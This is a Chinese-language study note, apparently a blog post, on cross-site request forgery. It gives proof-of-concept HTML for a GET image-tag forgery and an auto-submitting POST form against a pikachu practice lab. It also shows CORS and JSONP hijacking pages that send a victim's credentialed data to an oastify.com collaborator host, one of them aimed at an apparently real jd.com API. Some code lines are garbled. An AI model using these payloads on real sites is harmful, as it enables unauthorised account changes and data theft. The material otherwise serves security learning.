csrf漏洞--笔记

Cross-Site Request Forgery 跨站请求伪造

CSRF的本质:在对方不知情的情况下执行请求

一、正常的CSRF攻击,增删改等操作(基于操作的csrf)

csrf寻找:
    1.关注数据包:数据包的几个关键字段,是否根据cookie来判断请求包
        检查(依次删除判断是否生效): Referer      Auth       CSRFtoken
        Referer:判断数据包来源
        Auth: 
        toten:随机的,一个旧的密码验证这些我们获取不到的
    get请求:构造一个src

<html>
	<body>
		<img src="http://169.234.126.115/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18626545453&add=shanghai&email=vince@qq.com&submit=submit">
	</body>
</html>


    post请求:构造一个表单html

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://169.234.126.115/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
      <input type="hidden" name="sex" value="boy" />
      <input type="hidden" name="phonenum" value="18626545453" />
      <input type="hidden" name="add" value="cdashgdfhtjsd" />
      <input type="hidden" name="email" value="vince&#64;pikachu&#46;com" />
      <input type="hidden" name="&#32;submit" value="submit" />
      <input type="submit" value="Submit request" />
    </form>
    <script>

      document.forms[0].submit();
    </script>
  </body>
</html>

二、另类的CSRF:jsonp、cors、flash跨域劫持(基于文件读取的csrf)
同源策略:不同源的客户端在没有授权的情况下,不能读取对方资源

由于同源策略的影响,我们需要获取数据,就需要用到跨域
跨域解决方案:jsonp、cors、postMessage

cors:跨源资源共享
    加一个请求头:Origen,对方返回一个响应头:Access-Control-Allow-Orgin。则能拿到对方的资源,不返回响应头即驳回,拿不到资源。

<IDOCTYPE html>
<html>
<head>
<title>CoRS TEST</title>
</head>
<body>
<div id='output'></div>
<script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">
</script>
<script type="text/javascript">
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open ('get','http://169.234.126.115/CORS/arbitrary_origin.php',true);
//req.setRequestHeader ("Content-Type","application/x-ww-form-urlencoded;");
req.withCredentials = true;
req.send();
function reqListener()
	{
		$.ajax({
		type:'get',
		//ur1:'http://0deg9cdptr1093b91bh6cmsuclic61.burpcollaborator.net',
		url:' http://sgc0f1ngl128774rsop9x2ipxg37rykm9.oastify.com/ ',
		data: JSON.stringify(req.responseText)
});
	};
</script>
</body>
</html>

jsonp:通过script标签加载数据的方式获取数据当作js代码执行(只支持get请求)

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<tit1e>JSONP EXP跨域测试</t1t1e>
</head>
<body onload="load()">
<script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">
</script>

<script>
function load()
{
$.ajax({

	url:"http://chat1/jd.com/api/checkchat?venderlist=65126.627106callbask=zzzzccc",
	type:"GET"	,		//指定GET请求方法
	dataType:"jsonp",	//指定服务器返回的数据类型
	jsonp:."callback",	//指定参数名称
	jsonpCallback:"zzzzccc",

success:function (data){
$.ajax({
	type:'get',
	url:'htrp://http://sgc0f1ngl128774rsop9x2ipxg37rykm9.oastify.com/',
	data:JSON.stringify(data)
});
}

})
}
</script>
</body>
</html>


    

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值